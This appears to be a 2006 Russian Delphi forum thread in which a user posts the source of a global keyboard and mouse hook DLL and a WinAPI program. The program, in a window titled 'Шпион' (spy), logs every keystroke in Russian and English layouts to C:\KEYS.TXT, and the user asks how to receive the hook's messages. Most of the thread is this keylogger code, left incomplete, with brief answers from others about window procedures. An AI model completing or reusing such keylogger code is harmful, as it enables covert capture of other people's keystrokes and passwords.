Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

WinAPI проблема с type [D7, WinXP]


maxim123 ©   (2006-01-04 20:20:00) 

Здравствуйте.
 Я пишу хуку и начал изучать WinApi вроде как на нем приложения очень маленькие. Есть DLL она отсылает данные форме выполненой на WINAPI . Есть программа (форма) в прорграмме процедура обработки полученных данных но ее нужно определить в  Type

Program Patch;

Uses windows,messages, shellapi;

type TWMU=record
    msg:Cardinal;
    UU1:Word;
    UU2:Word;
    UU3:LongInt;
    Result:LongInt;

    end;
// Далее следует проблема
//type ......... А что мне сюда вписать прога ведъ на API
//  private
//    procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;


maxim123   (2006-01-05 14:38:00) [1]

вот с этой хр***Ю я и разбираюсь файл rc Это настройки формы
если есть у кого другие примеры и предложения то выкладывайте их сюда или мне на мыло maxcor@bk.ru


Игорь Шевченко   (2006-01-05 14:33:00) [2]

А где форма на апи ?


maxim123   (2006-01-05 14:01:00) [3]

поправочка в DLL вместо Tform1 NIL вместо шпион test


maxim123   (2006-01-05 13:55:00) [4]

мда ну тогда приведу весь код

DLL

library hook;
uses  
 windows;

const
 //Messages.pas;

 WM_CHAR             = $0102;

function KeyboardProc(code:Integer;wparam,
               lparam:LongInt):LRESULT; stdcall
begin
SendMessage(FindWindow('TForm1','Шпион'),WM_CHAR,wparam,0);
Result:=0;
end;

exports
KeyboardProc;

begin
end.


Сама программа



Program Patch;

Uses windows,messages, shellapi, SysUtils, Classes, dialogs;

//type Tmyclass = class
//...... А что мне сюда вписать прога веди на API
// private
//   procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;

var
 Msg2:TWMKEY;
 msg: tmsg;
 win: hwnd;
 h,z:hhook;
 libhandle:HINST;
 hkprcKeyboard: TFNHookProc;
 x:integer;

{$R API.RES}
procedure setHookApi;
begin

end;

procedure unsetHookApi;
begin
UnhookWindowsHookEx(h);
UnhookWindowsHookEx(z);
end;

//Функция определения язака
function WinLang:Boolean;
var
 Layout: array [0.. KL_NAMELENGTH] of char;
begin
 GetKeyboardLayoutName(Layout);
if Layout = '00000409' then Result:=False else Result:=True ;
end;

//Обрабатываем сообщения от DLL
procedure HOOKEVENT(var Msg2:TWMKEY);
var F:TextFile;
click: string;
begin
if x=1 then begin
if ((Msg2.CharCode > 512) and (Msg2.CharCode < 523)) or (Msg2.CharCode < 300)  then
begin
  if WinLang then begin
case Msg2.CharCode of
  522: click:='[Rolik]';
  519: click:='[Mouse3]';
  520: click:='[Mouse3]';
  513: click:='[MouseLeft]';
  514: click:='[MouseLeft]';
  516: click:='[MouseRight]';
  517: click:='[MouseRight]';
    8: click:='[BackSpase]';
    9: click:='[Tab]';
   13: click:='[Enter]';
   16: click:='[Shift]';
   17: click:='[Control]';
   18: click:='[Alt]';
   19: click:='[Pause]';
   20: click:='[CapsLock]';
   27: click:='[Esc]';
   32: click:='[Space]';
   33: click:='[PageUp]';
   34: click:='[PageDown]';
   35: click:='[End]';
   36: click:='[Home]';
   37: click:='[влево]';
   38: click:='[вверх]';
   39: click:='[вправо]';
   40: click:='[вниз]';
   44: click:='[PrtScr]';
   45: click:='[Insert]';
   46: click:='[Del]';
   48: click:='0';
   49: click:='1';
   50: click:='2';
   51: click:='3';
   52: click:='4';
   53: click:='5';
   54: click:='6';
   55: click:='7';
   56: click:='8';
   57: click:='9';
   65: click:='ф';
   66: click:='и';
   67: click:='с';
   68: click:='в';
   69: click:='у';
   70: click:='а';
   71: click:='п';
   72: click:='р';
   73: click:='ш';
   74: click:='о';
   75: click:='л';
   76: click:='д';
   77: click:='ь';
   78: click:='т';
   79: click:='щ';
   80: click:='з';
   81: click:='й';
   82: click:='к';
   83: click:='ы';
   84: click:='е';
   85: click:='г';
   86: click:='м';
   87: click:='ц';
   88: click:='ч';
   89: click:='н';
   90: click:='я';
   91: click:='[WinKeyL]';
   92: click:='[WinKeyR]';
   93: click:='[ContextMenu]';
   96: click:='0';
   97: click:='1';
   98: click:='2';
   99: click:='3';
  100: click:='4';
  101: click:='5';
  102: click:='6';
  103: click:='7';
  104: click:='8';
  105: click:='9';
  144: click:='[NumLock]';
  111: click:='/';
  106: click:='*';
  109: click:='-';
  107: click:='+';
  110: click:='.';
  112: click:='[F1]';
  113: click:='[F2]';
  114: click:='[F3]';
  115: click:='[F4]';
  116: click:='[F5]';
  117: click:='[F6]';
  118: click:='[F7]';
  119: click:='[F8]';
  120: click:='[F9]';
  121: click:='[F10]';
  122: click:='[F11';
  123: click:='[F12]';
  145: click:='[ScrollLock]';
  186: click:='ж';
  187: click:='=';
  188: click:='б';
  189: click:='-';
  190: click:='ю';
  191: click:='.';
  192: click:='`';
  219: click:='х';
  220: click:='\';
  221: click:='ъ';
  222: click:='э';
end;
end else begin
 case Msg2.CharCode of
  522: click:='[Rolik]';
  519: click:='[Mouse3]';
  520: click:='[Mouse3]';
  513: click:='[MouseLeft]';
  514: click:='[MouseLeft]';
  516: click:='[MouseRight]';
  517: click:='[MouseRight]';
    8: click:='[BackSpase]';
    9: click:='[Tab]';
   13: click:='[Enter]';
   16: click:='[Shift]';
   17: click:='[Control]';
   18: click:='[Alt]';
   19: click:='[Pause]';
   20: click:='[CapsLock]';
   27: click:='[Esc]';
   32: click:='[Space]';
   33: click:='[PageUp]';
   34: click:='[PageDown]';
   35: click:='[End]';
   36: click:='[Home]';
   37: click:='[влево]';
   38: click:='[вверх]';
   39: click:='[вправо]';
   40: click:='[вниз]';
   44: click:='[PrtScr]';
   45: click:='[Insert]';
   46: click:='[Del]';
   48: click:='0';
   49: click:='1';
   50: click:='2';
   51: click:='3';
   52: click:='4';
   53: click:='5';
   54: click:='6';
   55: click:='7';
   56: click:='8';
   57: click:='9';
   65: click:='a';
   66: click:='b';
   67: click:='c';
   68: click:='d';
   69: click:='e';
   70: click:='f';
   71: click:='g';
   72: click:='h';
   73: click:='i';
   74: click:='j';
   75: click:='k';
   76: click:='l';
   77: click:='m';
   78: click:='n';
   79: click:='o';
   80: click:='p';
   81: click:='q';
   82: click:='r';
   83: click:='s';
   84: click:='t';
   85: click:='u';
   86: click:='v';
   87: click:='w';
   88: click:='x';
   89: click:='y';
   90: click:='z';
   91: click:='[WinKeyL]';
   92: click:='[WinKeyR]';
   93: click:='[ContextMenu]';
   96: click:='0';
   97: click:='1';
   98: click:='2';
   99: click:='3';
  100: click:='4';
  101: click:='5';
  102: click:='6';
  103: click:='7';
  104: click:='8';
  105: click:='9';
  144: click:='[NumLock]';
  111: click:='/';
  106: click:='*';
  109: click:='-';
  107: click:='+';
  110: click:='.';
  112: click:='[F1]';
  113: click:='[F2]';
  114: click:='[F3]';
  115: click:='[F4]';
  116: click:='[F5]';
  117: click:='[F6]';
  118: click:='[F7]';
  119: click:='[F8]';
  120: click:='[F9]';
  121: click:='[F10]';
  122: click:='[F11';
  123: click:='[F12]';
  145: click:='[ScrollLock]';
  186: click:=';';
  187: click:='=';
  188: click:=',';
  189: click:='-';
  190: click:='.';
  191: click:='/';
  192: click:='`';
  219: click:='[';
  220: click:='\';
  221: click:=']';
  222: click:='`';
end;
end;
//Memo1.Lines.Add(click);
AssignFile(F,'C:\KEYS.TXT');
If not FileExists('C:\KEYS.TXT') then Rewrite(F)else
       Append(F);
WriteLn(F,click);
CloseFile(F);
end;
x:=0;
end else x:=1;
Msg2.Result:=0;
end;


maxim123   (2006-01-05 13:55:00) [5]

Procedure trans;
type
  TLayeredWndAttr = function(hwnd:integer; color:integer; level:integer; mode:integer): Integer; stdcall;
const
  LWA_ALPHA = $2;
  WS_EX_LAYERED = $80000;
var
  LayeredWndAttr: TLayeredWndAttr;
  i : integer;
begin
  i := 50;
  LayeredWndAttr := GetProcAddress(GetModuleHandle('user32.dll'),
                 'SetLayeredWindowAttributes');

  SetWindowLong(FindWindow(nil,'test'), GWL_EXSTYLE, WS_EX_LAYERED);
  LayeredWndAttr(FindWindow(nil,'test'), RGB(0,0,0), i*255 div 100, LWA_ALPHA);
end;

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;

Begin
Result := 0;
Case msg of
wm_InitDialog : Begin Result := 0; End;
wm_Command : Begin
   case LoWord(WParam) of                            
50: begin
trans;
setHookApi;

end;

// ??????????????????????????
WM_CHAR : HOOKEVENT(Msg2);
//?????????????????????????????
end;
end;
wm_Close   : DestroyWindow(Win);
wm_Destroy : PostQuitMessage(0);
else Result := 0;
end;
end;

Procedure RunSettings;
Begin
Win := CreateDialog(hInstance,PCHar(101),0,@SettingsDlgProc);
Showwindow(Win,SW_SHOW);
Updatewindow(Win);
End;

begin
x:=0;
libhandle:=LoadLibrary('hook.dll');
showmessage(floattostr(libhandle));
hkprckeyboard:=GetProcAddress(libhandle, 'KeyboardProc');
 h:=SetWindowsHookEX(14,hkprckeyboard,libhandle,0);
 z:=SetWindowsHookEX(WH_KEYBOARD,hkprckeyboard,libhandle,0);
RunSettings;
While GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.



api.rc



101 DIALOG 0, 0, 266, 95
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUPWINDOW |
WS_DLGFRAME
CAPTION "test"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Patch", 50, 13, 73, 59, 14
CTEXT "Тест WinAPI", 100, 13, 42, 240, 27, SS_SUNKEN
CONTROL 101, -1, "STATIC", SS_BITMAP | SS_CENTERIMAGE | SS_REALSIZEIMAGE |
SS_SUNKEN, 13, 8, 240, 30
end


Gero   (2006-01-05 13:44:00) [6]

> SendMessage(FindWindow(nil,'Шпион'),WM_CHAR,wparam,0);

А ведь так потом и пишут в программах.


Игорь Шевченко   (2006-01-05 13:39:00) [7]


> А примерчик можно


У тебя он уже есть - твоя "форма на WinAPI"


maxim123   (2006-01-05 12:39:00) [8]

А примерчик можно


Игорь Шевченко   (2006-01-05 12:37:00) [9]


> но как их принять???


Также, как другие сообщения - в оконной процедуре.


maxim123   (2006-01-05 12:36:00) [10]

Да совершенно точно Третий день бьюсь над этим вопросом
данные отсылаются
SendMessage(FindWindow(nil,'Шпион'),WM_CHAR,wparam,0);

но как их принять???


Игорь Шевченко   (2006-01-05 10:27:00) [11]


>  как обработать информацию приходящию на WinApi Форму


Очевидно в оконной процедуре ? Я угадал ?


Maxim123   (2006-01-04 20:56:00) [12]

Вопрос даже не с type а как обработать информацию приходящию на WinApi Форму


Наверх

Титульная страница Поиск, карта сайта Написать письмо